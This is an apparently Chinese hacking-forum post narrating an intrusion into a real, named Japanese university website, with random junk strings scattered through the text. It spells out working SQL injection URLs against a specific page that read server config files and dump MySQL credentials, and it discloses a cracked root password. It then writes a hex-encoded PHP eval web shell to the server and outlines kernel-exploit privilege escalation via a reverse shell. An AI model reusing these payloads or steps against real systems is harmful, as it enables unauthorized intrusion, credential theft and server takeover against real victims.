找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2438|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析- M4 g4 F: d7 j" p9 J+ o! V
/ m4 ~6 ]- G9 @6 M
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
% q. [. ~2 z2 i4 j* q$ Y5 f/ U9 J然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
) j+ F& j) c0 g4 @% K/ K! x9 h8 z' M# |5 v* o; z
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user- i1 t8 q5 Q, W& P0 t. j
6 g+ f! s& F( W7 \; q

6 O$ w# f6 n: y& Q- [" }( T# f4 P' y: n
//@@datadir为数据库文件路径 6 V% L) W4 O1 [6 l) R% n

6 u  L7 |" `( u) s8 u& ]+ r9 l
3 B8 A1 v: s7 X. g3 Y2 X- Q//load_file读取网站容器apache的配置文件
0 {/ n; H) ~# m0 F7 @ ' Y- a( C+ b+ F' i$ a
2 N4 D# m( F* ]& ?5 a
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
& Q7 `9 j$ e: ]" {' z复制代码5 z7 c  P5 Z& A. x) m" G! m, t4 g
  O: v& O8 m. z5 a
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。4 a5 D' L' Y- [: |4 U3 _4 @' z1 p

9 P( {8 }8 W4 s而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
) D. O8 \% t7 D# q; f(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
4 O4 s+ x( z1 r! u" \, t: V/ G& J& I* }( g9 z" I6 a( ?1 \
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。* R% P2 P& ~0 J
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
; X: D( S0 k; j, q
1 }. o3 i4 Z% i# Y6 L既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
$ |7 H! v/ ?! y' S, {$ {' ]" h虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
) X3 D) o+ R3 |( i" A: P直接写一句话:0 X- j5 V5 {! E3 B

" B' O6 B4 R: \" e) E  Qhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
+ |7 \# o, o5 L" V
" V/ U7 f$ }: W0 Z6 e
7 \9 F' A7 |7 F, t5 ]* u9 {& j6 t9 j! r' E. S3 X7 t
//最后的#是为了闭合前面的语句
1 o# {$ s% {- S7 C% a
) Q% J3 v  N8 w0 b  X4 K# d1 R! X, s
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 4 e' L  Z# s6 Q$ h2 o/ Q

  M- P+ u: E, p/ r+ W4 s
/ a7 |) x! F+ g0 e$ D为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 7 ?) l, J# ?/ k) B: c7 P) R
8 u+ H1 \7 G) N/ t' T$ v4 S9 ]
. b1 |% s7 x" ~3 S& `5 i/ H
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
# Z& Y( }: Q5 ]7 R
  m" S0 w" O) f& I9 W  j+ f6 R/ V' s# F. j
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
2 r' D- j  J4 _) q  }  l, H4 g//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” : N* E; Y* H/ Z% q7 A
复制代码8 k. `$ W) ^  q0 b9 V+ W
! ^4 i* k/ m+ j( u
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有$ \) s2 R* w; t8 B
通过上述注入语句,我们就得到了一句话木马:- p2 c: E, l% u! T4 _! S& [" ~) z2 j

& E+ S: k% S' c4 I/ N8 _- k ' r. e6 s2 `# d4 W' V

: M. b# [3 \0 C" z2 W/ {8 \
1 @# A# ]/ F" u) Y4 i! G+ t7 Z2 A9 H
, `/ R( [* j7 bhttp://www.doshisha.ac.jp/english/engnews_img/aa.php ! K5 j# B6 T: e6 n
复制代码
) Q8 d, r/ Z  V
+ s2 g  E9 Q$ d; s0 D- [; f; v用菜刀连接,密码是cmd,如图所示:2 R. x$ B$ M' ]  S# l
然后在命令提示行里看了一下,现在的权限是:
% G) P+ s0 s3 Z7 N
% N& b1 _; `% F" Y之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
0 [. y: Y2 ~4 j1 s好在赋权给这个文件夹不需要root,直接执行赋权语句:
- P2 g4 a2 v) v1 e1 d. B& r; X$ s/ v7 l! z6 r9 T
9 D9 \+ G( x9 F& r' o3 n7 b
% l# ]; }) Y5 D. p' E/ U

! q' e: M7 x# u" m) @: v. m# P6 F! h
chmod +x /tmp/ " d% L3 x* m+ Y+ }5 g5 U
复制代码/ h% q6 F$ Q& |

6 k' Z- V$ V4 s! E$ {9 @4 z* {在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行  P, [& O4 Q8 B
然后就查了一下内核版本:
% h# ~- R$ M" Z9 x" @7 |6 u" n4 u0 K8 v5 M

' O% R) R0 p% |* M9 _7 z: I. \, S& h; v3 ?1 z, G' N( u6 b5 w
9 n: O: g+ [) W) ~& S2 y: d& p
4 K/ ]2 l5 @, D: ~0 r  p( ?* n
uname-a
6 p- q; q! `8 [6 L; a' s  Q) @% l. e ( \! U  @* A) _! l8 @. }+ g) |9 t
3 v/ q) V5 m$ v. I
//其实lsb_release -a - ^: Z9 T; A0 L" l- _! D
复制代码- J3 h0 H: H  W2 H8 A! }

0 g, Q4 n& H8 S5 B8 y$ _1 K9 y如图所示:
) Z# ]/ \8 o" y
) Y' B% l2 A7 R) X2 _+ v! ]4 v. U内核版本:linux mainz1 2.6.28-194.e15
6 I( h; Z6 ?! I! c  l系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)2 c8 Y* w5 Z3 _) i9 e
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹& f  C, I4 [* d' J# D% q
& {: W& e* y3 ~' s" q" d5 j
然后给予执行权限2 H; m9 b) L6 x9 Y. n9 [, i
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
$ E% @: {/ t3 d  _" H6 G/ h, \" \- X& E  p
: v* ~; A/ |7 Q5 e' U. l

0 R* r5 }) ]- f! x
* G. J( }: l) m5 L4 {8 y2 R4 @2 \+ \* |5 T9 Z; W7 X' j
chmod +x /tmp/2.6.18-194 - w- _6 {  m" Y
复制代码 然后直接执行!~
. C7 X0 b3 g1 d9 s% e, h0 I0 l6 Y- l) ?" k
总结:
* l$ q8 C1 y) h' _4 s这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
# e$ L# s: S7 D1 _  ?提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
4 u  I; E; @6 N6 a" N% q; l& i% [! f" b% L4 D! z0 w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表